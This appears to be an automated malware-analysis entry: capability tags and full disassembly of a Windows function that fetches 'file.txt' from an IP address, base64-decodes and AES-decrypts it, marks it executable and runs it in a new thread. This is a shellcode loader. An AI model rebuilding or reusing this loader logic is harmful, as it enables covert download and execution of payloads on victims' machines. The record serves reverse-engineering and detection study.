Function at 0x140001340
Capabilities:
Create new key via cryptacquirecontext
Create thread
Decode data using base64 via winapi
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x14001d040]
xor rax, rsp
mov qword [rbp + 0x3f], rax
movdqa xmm0, xmmword [0x140019a80]
xor r15d, r15d
mov edi, r15d
movdqu xmmword [rbp + 0x2f], xmm0
lea ecx, [r15 + 0x1e]
call fcn.140001b78
lea r8d, [r15 + 0xf]
mov rcx, rax
lea rdx, str.10.172.241.245
mov rsi, rax
call fcn.140006770
lea ecx, [r15 + 0x14]
call fcn.140001b78
lea r8d, [r15 + 0xa]
mov rcx, rax
lea rdx, str._file.txt
mov r14, rax
call fcn.140006770
nop
mov r8, r14
mov rcx, rsi
call fcn.140001100
mov rbx, rax
test rax, rax
je 0x1400013ee
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], r15b
jne 0x1400013e0
test rcx, rcx
jne 0x140001406
lea rcx, [rbp + 7]
mov qword [rbp + 7], 3
call fcn.140001670
inc edi
cmp edi, 0xa
jl 0x1400013c0
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rbx + rax], r15b
jne 0x140001410
xor ecx, ecx
mov edx, eax
mov r8d, 0x3000
mov dword [rbp - 9], eax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140001469
mov edx, dword [rbp - 9]
lea rax, [rbp - 9]
mov qword [rsp + 0x30], r15
mov r9, rdi
mov qword [rsp + 0x28], r15
mov r8d, 1
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x140001469
mov ebx, dword [rbp - 9]
jmp 0x14000146f
mov ebx, dword [rbp - 1]
mov rdi, r15
xor r8d, r8d
mov esi, ebx
mov dword [rsp + 0x28], 4
lea r9, [rbp + 7]
lea rdx, [rbp - 0x19]
mov qword [rbp - 0x19], r15
mov qword [rbp + 7], rsi
lea rcx, [r8 - 1]
mov dword [rsp + 0x20], 0x3000
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jns 0x1400014ac
mov eax, 1
jmp 0x140001645
mov rcx, qword [rbp - 0x19]
mov r8, rsi
mov rdx, rdi
call fcn.140010da0
mov dword [rbp - 9], ebx
lea rcx, [rbp + 0xf]
mov rbx, qword [rbp - 0x19]
mov r9d, 0x18
xor r8d, r8d
mov dword [rbp - 1], r15d
xor edx, edx
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001591
mov rcx, qword [rbp + 0xf]
lea rax, [rbp + 0x17]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001591
mov rcx, qword [rbp + 0x17]
lea rdx, [rbp + 0x2f]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001591
mov r8, qword [rbp + 0x17]
lea rax, [rbp + 0x1f]
mov rcx, qword [rbp + 0xf]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001591
mov rcx, qword [rbp + 0x1f]
lea rax, [rbp - 9]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001591
mov rcx, qword [rbp + 0xf]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
lea rax, [rbp - 1]
mov r9d, 0x20
lea r8, [rbp + 7]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x19]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x1400015c3
mov eax, 2
jmp 0x140001645
mov rcx, qword [rbp - 0x19]
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
mov edx, 0x1fffff
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x11]
mov qword [rbp - 0x11], 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x140001616
mov eax, 3
jmp 0x140001645
mov rcx, qword [rbp - 0x11]
lea r8, [rbp + 0x27]
xor edx, edx
mov qword [rbp + 0x27], 0xffffffffff676980
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140001639
mov eax, 4
jmp 0x140001645
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140001b50
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret